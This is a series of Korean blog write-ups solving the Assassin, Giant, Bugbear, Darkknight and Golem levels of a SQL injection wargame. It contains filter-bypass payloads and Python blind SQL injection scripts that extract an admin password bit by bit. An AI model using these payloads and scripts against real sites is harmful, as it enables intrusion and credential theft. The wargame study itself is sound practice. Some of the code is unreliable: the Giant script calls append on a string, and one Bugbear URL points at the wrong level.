LOS 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트는 Giant에 이어 Assassin 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.

Assassin은 Giant에서 사용했던 머리를 다시금 굴려야 한다는 걸 알려주는 준비운동 문제가 아닌가 싶습니다.




 

 문제 이해


문제 소스코드는 다음과 같이 PHP 소스를 그대로 보여주는 것을 알 수 있습니다.

<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_assassin where pw like '{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("assassin"); 
  highlight_file(__FILE__); 
?>


위의 문제에서 5번 라인에서는 싱글쿼터를 사용할 수 없습니다. 무조건 like 안에 있는 %를 추측하라는 의미입니다.

Like문은 % 혹은 _를 통해 뒤에 올 문자가 몇 개든 어떤 것이든 상관없이 맞는 결과가 있다면 다 출력하도록 되어 있습니다.


즉, 만약 비밀번호가 '90d2f'라면 like 90%까지만 입력해도 MySQL에 90으로 시작하는 비밀번호를 가진 계정을 모두 출력해야겠군..! 하면서 출력된다는 것입니다.


그렇다면 차근차근 브루투포싱을 시작해야하는데... 사람 손으로 하기에는 경우의 수가 너무 많습니다.

코드가 필요합니다.



 

 문제 풀이(코드)


제 나름대로 브루투포싱을 하는 코드를 작성해보았습니다.

코드 작성은 다음과 같은 원리를 이용했습니다.


한 글자 + %로 Hello guest 혹은 Admin이 나오는 것을 확인했습니다.

그렇게 첫 번째 문자를 알아내고, 알아낸 문자를 이용하여 한 글자씩 늘려가서 다음 글자를 찾아내도록 하였습니다.


물론 여기서는 %와 _ 문자는 필터링하여 그외의 문자들로만 검색할 수 있도록 하였습니다.


import requests

requests.packages.urllib3.disable_warnings()
sess = requests.session()
URL = 'https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw='
headers = {'Cookie': 'PHPSESSID=4jj7vger48nj1hkalc5vcd4oi6'}

# ==============================================================
# Init Answers

Answer = []
Answer_chr = ''
Done = False

for i in range(0, 129):
    payload = chr(i) + "%" 
    res     = sess.get(url=URL+payload, headers=headers, verify=False)

    if chr(i) != '%' and chr(i) != '_':
        if 'Hello guest' in res.text:
            Answer.append(chr(i))
        else:
            pass

print('[=] Find Init Words : ', Answer)


while not Done:
    tmpList = []

    for j in Answer:
        for i in range(0, 129):
            payload = j + chr(i) + "%" 
            res     = sess.get(url=URL+payload, headers=headers, verify=False)

            if chr(i) != '%' and chr(i) != '_':
                if 'Hello guest' in res.text:
                    tmpList.append(j + chr(i))
                elif 'Hello admin' in res.text:
                    print('[=] Find Last Answer : ', payload)
                    Done = True
                    break
                else:
                    pass

    if not Done:
        print('[=] Current Status : ', tmpList)

    Answer = tmpList


이 소스를 실행시키면, 한 문자를 알아내기 위해 128번씩 반복해서 패킷을 전송하여 응답 결과를 비교하게 됩니다.

만약 admin이 나타나게 되면 멈추도록 하였습니다.


결과는 다음과 같이 나왔습니다.


[=] Find Init Words :  ['9']

[=] Current Status :  ['90']

[=] Find Last Answer :  902%


답은 902%가 되겠습니다.


LOS 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트는 Bugbear에 이어 Giant 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.

Giant는 이전에 Bugbear에서 필터링된 white space와 같이 보다 다양한 공백문자 우회기법을 연구해보라는 의미에서 만들어준 것 같습니다.


찡긋.




 

 문제 이해


문제 소스코드는 다음과 같이 PHP 소스를 그대로 보여주는 것을 알 수 있습니다.

<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(strlen($_GET[shit])>1) exit("No Hack ~_~"); 
  if(preg_match('/ |\n|\r|\t/i', $_GET[shit])) exit("HeHe"); 
  $query = "select 1234 from{$_GET[shit]}prob_giant where 1"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result[1234]) solve("giant"); 
  highlight_file(__FILE__); 
?>


위의 문제에서 5번 라인에서는 한 글자 이상 입력하지 말라는 필터링이 되어있습니다. 즉, 한 문자만으로 이 문제를 풀어야한다는 의미입니다.

또한 6번 라인에서는 기존에 입력할 수 있었던 개행문자들이나 tab문자가 필터링되어 있는 것을 볼 수 있습니다.


흠흠. 하지만 여기서 쉽게 생각할 수 있는 것은 이 문자는 ascii 코드 내에 있는 값 중 하나라는 것입니다.




 

 문제 풀이(코드)


먼저 ascii 값 중 하나 혹은 하나 이상일 것이라는 생각이 들었으니....

128번 브루투포싱 해보는 것이 좋지 않을까 싶습니다.

import requests

requests.packages.urllib3.disable_warnings()
sess = requests.session()
URL = 'https://los.rubiya.kr/chall/giant_18a08c3be1d1753de0cb157703f75a5e.php?shit='
headers = {'Cookie': 'PHPSESSID=dgjmh5ubimr8iftnm5oodml4d1'}

# Find SingleWord  =============

Answer = ''

for i in range(0, 129):
    payload = "%" + str(hex(i)[2:].zfill(2))
    res     = sess.get(url=URL+payload, headers=headers, verify=False)

    if 'Clear!' in res.text:
        Answer.append(payload)
    else:
        pass

print('[=] Find Answer : %s' % Answer)


위의 소스는 0~128까지의 ascii 코드 값을 URL 인코딩된 상태로 한 문자씩 입력하여 전송하는 것입니다.

만약 문제가 풀렸다면 Clear! 라는 문자열이 나타날 것일 테니....


한 번 돌려봤습니다.


답은 다음과 같이 나타납니다.


[=] Find Answer : ['%0b', '%0c']


여기서 미처 필터링되지 않은 문자는 저 위의 두 가지가 되겠습니다.


LOS 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트는 Darkknight에 이어 Bugbear 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.

Bugbear문제를 들어가기 전에, 몬스터의 이미지를 보면... 곰같은 곤충? 곤충같은 곰? 뭐지..? 잡몹인듯 잡몹아닌 잡몹 같은 몬스터... Blind SQL Injection이라는 난이도와 이전 단계보다 더 견고한 추가적인 필터링을 요구하고 있습니다. 

 

하.하....

 

 

 

 문제 이해

 

문제 소스코드는 다음과 같이 PHP 소스를 그대로 보여주는 것을 알 수 있습니다.

<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe"); 
  $query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear"); 
  highlight_file(__FILE__); 
?>

위의 문제에서는 먼저 pw와 no에 값을 넣을 수 있음을 볼 수 있는데.... pw에는 싱글쿼터 필터링이 걸려 있어서 조작이 어려울 것 같습니다. 그렇다면 비교적 필터링이 적은 no에 SQL Injection을 수행하도록 합시다.

7번 라인을 보니 싱글쿼터, substr, ascii, equal(=), or, and, like, whitespace, 0x 가 필터링 되어 있는 것을 확인할 수 있습니다. 거업나 많네요. Darkknight보다 무려 5개의 필터링이 추가적으로 작성되어 있습니다.

이번에도 no(넘버) 에 SQL Injecion을 수행해야할 것 같습니다.

또한 여기서는 7번 라인을 보아하니 or가 필터링되어 있으니, ord 함수 또한 사용할 수 없다는 것을 알 수 있습니다. 

또한 equal(=) 비교연산자가 필터링되어 있기 때문에 다른 비교연산자를 사용해주어야 합니다.

 

 

 

 

 

 문제 풀이(쿼리)

 

 

먼저 쿼리를 수동으로 설정하여 전송하는 방법으로 어떤 것이 가능한지 알아보도록 합시다.

 

 

 

 비밀번호 길이 알아내기

먼저 우리는 table의 pw라는 컬럼과 id라는 컬럼을 알고 있습니다. 이제 이러한 컬럼들을 이용하여 적절한 값을 넣어줄 수 있을 것 같습니다.

MySQL 함수인 length 함수를 이용하여 비밀번호의 길이를 알아내보도록 합시다.

아주 간단하게 다음과 같이 쿼리를 날려주도록 합시다.

 https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?no=0||left(id,1)<unhex(62)%26%26length(pw)<1

 

위의 쿼리는 no가 0이거나 id가 첫 번째 글자가 0x62 즉, b보다 작은지 확인하고, 비밀번호 길이가 1보다 작은지 확인하도록 하는 것입니다.

이는 0||left(id,1)<unhex(62)%26%26length(pw)<1 으로 작성하였습니다.

만약 위의 조건에 맞는 값이 있다면 값이 반환되어 $result에 들어갈 것이고, if($result['id'])가 참이기 때문에 Hello admin이라는 값이 나타날 것입니다.

 

그러나 위의 쿼리 값을 통해 Hello admin이라는 값이 나타나지 않습니다. 이는 admin의 비밀번호 길이가 0이 아니기 때문입니다.

 

비밀번호 길이는 9까지 해보니 Hello admin이 출력되었습니다. 이는 즉, 1~8보다는 작지 않지만, 9보다는 작다. 라는 것입니다. 그렇다면 다음과 같은 결론이 나오게 됩니다.

 

8<= length(pw) < 9

 

따라서 admin의 비밀번호 길이는 8이라는 것을 알 수 있었습니다.

 

이제 비밀번호를 알아내야 합니다.

 

 

 

 비밀번호 값 알아내기

각 한 글자를 비교하는 쿼리를 만들어보도록 합시다.

 

 

  https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?no=0||left(id,1)<unhex(62)%26%26mid(lpad(bin(conv(hex(mid(pw,1,1)),16,10)),8,0),1,1)>0

 

위의 쿼리는 다음과 같은 값이 들어가 있습니다.

0||left(id,1)<unhex(62)%26%26mid(lpad(bin(conv(hex(mid(pw,1,1)),16,10)),8,0),1,1)>0

여기서는 left 함수와 right 함수 대신에 보다 간편한 mid함수를 사용하였습니다. 그리고 lpad, bin, conv, hex 함수를 이용하여 각 글자의 각 비트를 한 번씩 가져와서 비교할 수 있도록 하였습니다. 또한 0x값을 사용할 수 없기 때문에 0x대신에 unhex() 함수를 사용하여 16진수를 문자로 바꿔주었습니다. 만약 unhex 값도 필터링되어있다면 char함수를 사용하면 되겠습니다.

 

mid(aStr, b, c) 함수는 aStr라는 문자열 값에서 b번째 위치부터 c개의 글자를 가져온다는 의미입니다.

 

hex 함수는 입력된 문자 하나를 16진수로 변경해주는 함수입니다.

 

conv(값, 16, 10) 함수는 입력된 값을 16진수에서 10진수로 변형해주는 함수입니다.

 

bin은 숫자 값을 binary 값(이진수)으로 바꿔주는 함수입니다.

 

lpad는 값을 몇 자리로 만들어줄지, 무엇으로 채워줄지 결정하는 함수입니다. lpad(값, 8, 0)은 가져온 값을 8글자로 만드는데, 빈 공간을 앞에서부터 0으로 채워준다는 의미입니다. 만약 1100100이라는 7글자 값이 들어왔다면 01100100으로 패딩해준다는 의미입니다.

 

안에 있는 mid 함수는 문자열의 값 중 한 글자를 가져오는 역할이고, 밖에 있는 mid 함수는 문자가 bin으로 바뀐 상태에서 8개의 비트 값을 하나씩 가져오는 역할입니다.

 

이제 이러한 이해를 바탕으로 소스코드를 작성해보도록 하겠습니다.

 

 

 

 

 

 문제 풀이(소스)

 

import requests

requests.packages.urllib3.disable_warnings()
sess = requests.session()
URL = 'https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?no='
headers = {'Cookie': 'PHPSESSID=dgjmh5ubimr8iftnm5oodml4d1'}

# get length of column  =============

passwordLen = 0

for i in range(1, 100):
    payload = "0||left(id,1)<unhex(62)%26%26length(pw)<" + str(i)
    res     = sess.get(url=URL+payload, headers=headers, verify=False)

    if 'Hello admin' in res.text:
        passwordLen = i-1
        break
    else:
        pass

print('[=] Find Password Length : %d' % passwordLen)


Password = ''

for j in range(1, passwordLen+1):

    bit = ''

    for i in range(1, 9):
        payload = "0||left(id,1)<unhex(62)%26%26mid(lpad(bin(conv(hex(mid(pw,{},1)),16,10)),8,0),{},1)>0".format(j,i)
        res     = sess.get(url=URL+payload, headers=headers, verify=False)

        if 'Hello admin' in res.text:
            # true!! 
            bit += '1'
        else:
            # false!!
            bit += '0'

    Password += chr(int(bit, 2))
    print('[=] Find Password(count %02d) : %s (bit : %s)' % (j, chr(int(bit, 2)), bit))


print('[=] Find Password : %s' % Password)

 

위의 소스코드는 python 3로 작성되었으며, requests 모듈을 따로 pip로 설치해주어야 합니다.

 

만약 pip 설치가 잘 안 되시는 분은 다음 링크를 참조해주시기 바랍니다.

 

python의 pip 명령이 들지 않을 때(python pip error)링크

 

또한 소스에서 Cookie 값은 자신의 쿠키 값으로 변경해서 사용해주시기 바랍니다.

 

Cookie 값은 [개발자모드(F12)->콘솔(Console)->document.cookie를 입력] 를 통해 알아낼 수도 있고, 주소 창에 javascript:alert(document.cookie)를 입력하는 방법으로 알아낼 수 있습니다.

 

 

 

 

LOS 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트는 Golem에 이어 Darkknight 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.

Darkknight문제를 들어가기 전에, 몬스터의 이미지를 보면 리치킹의 ㄹ도 못 따라가는 잡몹처럼 생겼으나 Blind SQL Injection이라는 난이도와 추가적인 필터링을 요구하고 있습니다. 


이쯤 되면 이런 난이도는 기본이라는 것이 아닐까 싶습니다. 하하...



 

 문제 이해


문제 소스코드는 다음과 같이 PHP 소스를 그대로 보여주는 것을 알 수 있습니다.

<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe"); 
  $query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight"); 
  highlight_file(__FILE__); 
?>


위의 문제에서는 먼저 pw와 no에 값을 넣을 수 있음을 볼 수 있는데.... pw에는 싱글쿼터 필터링이 걸려 있어서 조작이 어려울 것 같습니다. 그렇다면 비교적 필터링이 적은 no에 SQL Injection을 수행하도록 합시다.

7번 라인을 보니 싱글쿼터, substr, ascii, equal(=)이 필터링 되어 있는 것을 확인할 수 있습니다.

원래 no(넘버) 즉, 번호만 입력받도록 한 것이기 때문에 싱글쿼터는 필터링 되어있다는 것을 알 수 있습니다.

또한 여기서는 6번 라인을 보아하니 or와 and가 필터링되어있지 않으니 or, and를 사용할 수 있고, ord 함수 또한 사용할 수 있다는 것을 알 수 있습니다. 

그러나 equal(=) 비교연산자가 필터링되어 있기 때문에 다른 비교연산자를 사용해주어야 합니다.





 

 문제 풀이(쿼리)


먼저 쿼리를 수동으로 설정하여 전송하는 방법으로 어떤 것이 가능한지 알아보도록 합시다.



 

 비밀번호 길이 알아내기


먼저 우리는 table의 pw라는 컬럼과 id라는 컬럼을 알고 있습니다. 이제 이러한 컬럼들을 이용하여 적절한 값을 넣어줄 수 있을 것 같습니다.

MySQL 함수인 length 함수를 이용하여 비밀번호의 길이를 알아내보도록 합시다.

아주 간단하게 다음과 같이 쿼리를 날려주도록 합시다.

 https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?no=0 or left(id, 1)<0x62 and length(pw)<1


위의 쿼리는 no가 0이거나 id가 첫 번째 글자가 0x62 즉, b보다 작은지 확인하고, 비밀번호 길이가 1보다 작은지 확인하도록 하는 것입니다.

이는 no=0 or left(id, 1)<0x62 and length(pw)<1으로 작성하였습니다.

만약 위의 조건에 맞는 값이 있다면 값이 반환되어 $result에 들어갈 것이고, if($result['id'])가 참이기 때문에 Hello admin이라는 값이 나타날 것입니다.


그러나 위의 쿼리 값을 통해 Hello admin이라는 값이 나타나지 않습니다. 이는 admin의 비밀번호 길이가 0이 아니기 때문입니다.


비밀번호 길이는 9까지 해보니 Hello admin이 출력되었습니다. 이는 즉, 1~8보다는 작지 않지만, 9보다는 작다. 라는 것입니다. 그렇다면 다음과 같은 결론이 나오게 됩니다.


8<= length(pw) < 9


따라서 admin의 비밀번호 길이는 8이라는 것을 알 수 있었습니다.


이제 비밀번호를 알아내야 합니다.



 

 비밀번호 값 알아내기


각 한 글자를 비교하는 쿼리를 만들어보도록 합시다.


  https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?no=0%20or%20left(id,1)<0x62%20and%20mid(lpad(bin(conv(hex(mid(pw,1,1)),16,10)),8,0),1,1)>0


위의 쿼리는 다음과 같은 값이 들어가 있습니다.

0 or left(id,1)<0x62 and mid(lpad(bin(conv(hex(mid(pw,1,1)),16,10)),8,0),1,1)>0

여기서는 left 함수와 right 함수 대신에 보다 간편한 mid함수를 사용하였습니다. 그리고 lpad, bin, conv, hex 함수를 이용하여 각 글자의 각 비트를 한 번씩 가져와서 비교할 수 있도록 하였습니다. 물론 여기서는 or이 필터링되어 있지 않기 때문에 ord로도 injection을 수행할 수 있습니다.


mid(aStr, b, c) 함수는 aStr라는 문자열 값에서 b번째 위치부터 c개의 글자를 가져온다는 의미입니다.


hex 함수는 입력된 문자 하나를 16진수로 변경해주는 함수입니다.


conv(값, 16, 10) 함수는 입력된 값을 16진수에서 10진수로 변형해주는 함수입니다.


bin은 숫자 값을 binary 값(이진수)으로 바꿔주는 함수입니다.


lpad는 값을 몇 자리로 만들어줄지, 무엇으로 채워줄지 결정하는 함수입니다. lpad(값, 8, 0)은 가져온 값을 8글자로 만드는데, 빈 공간을 앞에서부터 0으로 채워준다는 의미입니다. 만약 1100100이라는 7글자 값이 들어왔다면 01100100으로 패딩해준다는 의미입니다.


안에 있는 mid 함수는 문자열의 값 중 한 글자를 가져오는 역할이고, 밖에 있는 mid 함수는 문자가 bin으로 바뀐 상태에서 8개의 비트 값을 하나씩 가져오는 역할입니다.


이제 이러한 이해를 바탕으로 소스코드를 작성해보도록 하겠습니다.





 

 문제 풀이(소스)


import requests

requests.packages.urllib3.disable_warnings()
sess = requests.session()
URL = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?no='
headers = {'Cookie': 'PHPSESSID=dgjmh5ubimr8iftnm5oodml4d1'}

# get length of column  =============

passwordLen = 0

for i in range(1, 100):
    payload = "0 or left(id,1)<0x62 and length(pw)<" + str(i)
    res     = sess.get(url=URL+payload, headers=headers, verify=False)

    if 'Hello admin' in res.text:
        passwordLen = i-1
        break
    else:
        pass

print('[=] Find Password Length : %d' % passwordLen)


Password = ''

for j in range(1, passwordLen+1):

    bit = ''

    for i in range(1, 9):
        payload = "0 or left(id,1)<0x62 and mid(lpad(bin(conv(hex(mid(pw,{},1)),16,10)),8,0),{},1)>0".format(j,i)
        res     = sess.get(url=URL+payload, headers=headers, verify=False)

        if 'Hello admin' in res.text:
            # true!! 
            bit += '1'
        else:
            # false!!
            bit += '0'

    Password += chr(int(bit, 2))
    print('[=] Find Password(count %02d) : %s (bit : %s)' % (j, chr(int(bit, 2)), bit))


print('[=] Find Password : %s' % Password)


위의 소스코드는 python 3로 작성되었으며, requests 모듈을 따로 pip로 설치해주어야 합니다.


만약 pip 설치가 잘 안 되시는 분은 다음 링크를 참조해주시기 바랍니다.


python의 pip 명령이 들지 않을 때(python pip error)링크


또한 소스에서 Cookie 값은 자신의 쿠키 값으로 변경해서 사용해주시기 바랍니다.


Cookie 값은 [개발자모드(F12)->콘솔(Console)->document.cookie를 입력] 를 통해 알아낼 수도 있고, 주소 창에 javascript:alert(document.cookie)를 입력하는 방법으로 알아낼 수 있습니다.





LOS 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트는 Skeleton에 이어 Golem 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.

Golem문제를 들어가기 전에 몬스터 이미지를 보아하니, 돌덩이 입니다. 겁나 단단해보입니다.


초등학생 시절에 저를 겁먹게 했던 메이플 스토리의 골렘보다는 비주얼이 부드럽게 생겼지만, 역시나 골렘은 골렘입니다. 이번에도 Blind SQL injection이었습니다.



 

 문제 이해


문제 소스코드는 다음과 같이 PHP 소스를 그대로 보여주는 것을 알 수 있습니다.

<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 
  highlight_file(__FILE__); 
?>


위의 문제에서는 먼저 pw에 값을 넣어야함을 알 수 있습니다.

필터링은 크게 되어 있지 않은 상태이며, 9번 라인을 보니 리턴되는 값이 있다면 Hello admin이라는 값을 출력해주는 것을 알 수 있습니다.

그런데 여기서는 6번 라인을 보아하니 or와 and가 필터링되어있는 것을 알 수 있습니다. 또한! substr함수와 =(equal)이 함께 필터링되어 있는 것을 알 수 있습니다.

따라서 or와 and 대신에 사용할 ||, &&를 사용해야하며, substr 함수와 =(equal) 대신에 사용할 다른 함수와 비교 연산자가 필요합니다.


또한 11번 라인에서는 addslashes라는 함수를 통해 입력한 값을 중간에 한 번 필터링을 걸어줍니다.


여기서는 일반적인 SQL Injection 기법보다는 다른 기법을 사용해야함을 나중에서야 깨달았습니다.

여기서는 Blind SQL Injection 기법을 통해 풀이를 진행해야 합니다.


이러한 이유는 15번 라인에서 답을 구할 수 있습니다.


먼저 2~10번 라인의 소스를 위쪽 PHP소스, 12~16번 라인까지의 소스아래쪽 PHP소스라고 표현하겠습니다.


위쪽 PHP 소스에서는 addslashes 함수를 거치지 않기 때문에 제대로 싱글쿼터, 더블쿼터 등의 문자를 삽입하여 SQL Injection을 수행할 수 있습니다. 그러나 아래쪽 PHP 소스에서는 addslashes 함수를 거치기 때문에 이러한 기법의 SQL Injection이 불가능합니다. 그리고 결정적으로 15번 라인에서 pw에 입력한 값과 query를 실행하여 돌아온 값이 일치해야 문제가 풀리도록 하였습니다.


즉 우리가 정확한 Password를 입력해야함을 말합니다...!!


그렇다면 SQL Injection 에서 우리가 얻을 수 있는 값은 무엇인가를 봐야 합니다.

딱히 리턴되어 돌아오는 값을 알 수 없습니다. 오직 참이냐 거짓이냐 혹은 값이 있냐 없냐만 알 수 있습니다!


따라서 참이냐 거짓이냐를 알 수 있다면 이는 Blind SQL Injection을 이용해야 함을 말합니다.





 

 문제 풀이(쿼리)


먼저 쿼리를 수동으로 설정하여 전송하는 방법으로 어떤 것이 가능한지 알아보도록 합시다.



 

 비밀번호 길이 알아내기


먼저 우리는 table의 pw라는 컬럼을 알고 있습니다. 그렇다면 MySQL 함수인 length 함수를 이용하여 비밀번호의 길이를 알아낼 수 있습니다.

아주 간단하게 다음과 같이 쿼리를 날려주도록 합시다.

 https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?pw=%27||id=%27admin%27%26%26length(pw)<1%23


위의 쿼리는 id가 admin이고, pw길이가 1보다 작은 값이 있는지 없는지 알아내기 위한 쿼리입니다.

이는 pw='||id='admin' %26%26 length(pw)<1%23으로 작성하였습니다.

만약 위의 조건에 맞는 값이 있다면 값이 반환되어 $result에 들어갈 것이고, if($result['id'])가 참이기 때문에 Hello admin이라는 값이 나타날 것입니다.

여기서 주의해야할 점은 &를 그대로 GET 형태로 넘겨주게 되면 데이터를 넘겨주는 다음 변수가 따라온다고 판단하게 됩니다. 마찬가지로 &&로도 전송할 수 없습니다.

때문에 URL 인코딩을 수행한 값을 넣어줘야 합니다.


그러나 위의 쿼리 값을 통해 Hello admin이라는 값이 나타나지 않습니다. 이는 admin의 비밀번호 길이가 0이 아니기 때문입니다.


비밀번호 길이는 9까지 해보니 Hello admin이 출력되었습니다. 이는 즉, 1~8보다는 작지 않지만, 9보다는 작다. 라는 것입니다. 그렇다면 다음과 같은 결론이 나오게 됩니다.


8<= length(pw) < 9


따라서 admin의 비밀번호 길이는 8이라는 것을 알 수 있었습니다.


이제 비밀번호를 알아내야 합니다.



 

 비밀번호 값 알아내기


각 한 글자를 비교하는 쿼리를 만들어보도록 합시다.


실패한 쿼리문...

 https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?pw=%27%20||%20id=%27admin%27%26%26%20substr(lpad(bin(ord(substr(pw,1,1))),8,0),1,1)=1%23


위의 쿼리는 다음과 같은 값이 들어가 있습니다.

pw=' || id='admin' %26%26 substr(lpad(bin(ord(substr(pw,1,1))),8,0),1,1)=1%23

여기서는 substr 함수와 lpad, bin, ord 함수를 이용하여 각 글자의 각 비트를 한 번씩 가져와서 비교할 수 있도록 하였습니다.


단!! 여기서 ord의 or, substr, = 등의 문자가 필터링 되어 있기 때문에, ord함수와 substr함수, = 문자는 사용할 수 없습니다.

저는 ord 대신에 conv 함수와 hex 함수를 이용하였고, substr 대신에 left함수와 right 함수를 이용하였습니다. 또한 =문자 대신에 다른 꺽쇠 비교 연산자를 사용하였습니다.


성공한 쿼리문

 https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?pw=%27%20||%20id=%27admin%27%26%26%20left(right(lpad(bin(conv(hex(left(right(pw,1),1)),16,10)),8,0),1),1)>0%23


위의 쿼리는 다음과 같은 값이 들어가 있습니다.

pw=' || id='admin' %26%26 left(right(lpad(bin(conv(hex(left(right(pw,1),1)),16,10)),8,0),1),1)>0%23

여기서는 left 함수와 right 함수, lpad, bin, conv, hex 함수를 이용하여 각 글자의 각 비트를 한 번씩 가져와서 비교할 수 있도록 하였습니다.


left(aStr, b) 함수는 aStr이라는 문자열을 왼쪽에서부터 b개의 문자를 가져오도록 하는 함수입니다.


right(aStr, b) 함수는 aStr이라는 문자열을 오른쪽에서부터 b개의 문자를 가져오도록 하는 함수입니다.


따라서 left(right(aStr, b), c)를 하게 되면 먼저 aStr이라는 문자를 오른쪽에서 b개의 문자를 가져오고, 다시 왼쪽에서 c개의 문자를 가져옵니다.


이를 응용하게 되면 left(right(aStr, b), 1)와 같이 사용할 수 있고, 이를 풀어서 해석하면 aStr 값의 b번째에서 1개의 문자를 가져온다! 가 됩니다.


hex 함수는 입력된 문자 하나를 16진수로 변경해주는 함수입니다.


conv(값, 16, 10) 함수는 입력된 값을 16진수에서 10진수로 변형해주는 함수입니다.


bin은 숫자 값을 binary 값(이진수)으로 바꿔주는 함수입니다.


lpad는 값을 몇 자리로 만들어줄지, 무엇으로 채워줄지 결정하는 함수입니다. lpad(값, 8, 0)은 가져온 값을 8글자로 만드는데, 빈 공간을 앞에서부터 0으로 채워준다는 의미입니다. 만약 1100100이라는 7글자 값이 들어왔다면 01100100으로 패딩해준다는 의미입니다.


안에 있는 left, right 함수는 문자열의 값 중 한 글자를 가져오는 역할이고, 밖에 있는 left, right 함수는 문자가 bin으로 바뀐 상태에서 8개의 비트 값을 하나씩 가져오는 역할입니다.


이제 이러한 이해를 바탕으로 소스코드를 작성해보도록 하겠습니다.





 

 문제 풀이(소스)


import requests

requests.packages.urllib3.disable_warnings()
sess = requests.session()
URL = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?pw='
headers = {'Cookie': 'PHPSESSID=dgjmh5ubimr8iftnm5oodml4d1'}

passwordLen = 0

for i in range(1, 100):
    payload = "'||left(id,1)<0x62%26%26length(pw)<" + str(i) + "%23"
    res     = sess.get(url=URL+payload, headers=headers, verify=False)

    if 'Hello admin' in res.text:
        passwordLen = i-1
        break
    else:
        pass

print('[=] Find Password Length : %d' % passwordLen)


Password = ''

for j in range(1, passwordLen+1):

    bit = ''

    for i in range(1, 9):
        payload = "'||left(id,1)<0x62%26%26left(right(lpad(bin(conv(hex(left(right(pw,{}),1)),16,10)),8,0),{}),1)>0%23".format(passwordLen-j+1, 8-i+1)
        res     = sess.get(url=URL+payload, headers=headers, verify=False)

        if 'Hello admin' in res.text:
            # true!! 
            bit += '1'
        else:
            # false!!
            bit += '0'

    Password += chr(int(bit, 2))
    print('[=] Find Password(count %02d) : %s (bit : %s)' % (j, chr(int(bit, 2)), bit))


print('[=] Find Password : %s' % Password)


위의 소스코드는 python 3로 작성되었으며, requests 모듈을 따로 pip로 설치해주어야 합니다.


만약 pip 설치가 잘 안 되시는 분은 다음 링크를 참조해주시기 바랍니다.


python의 pip 명령이 들지 않을 때(python pip error)링크


또한 소스에서 Cookie 값은 자신의 쿠키 값으로 변경해서 사용해주시기 바랍니다.


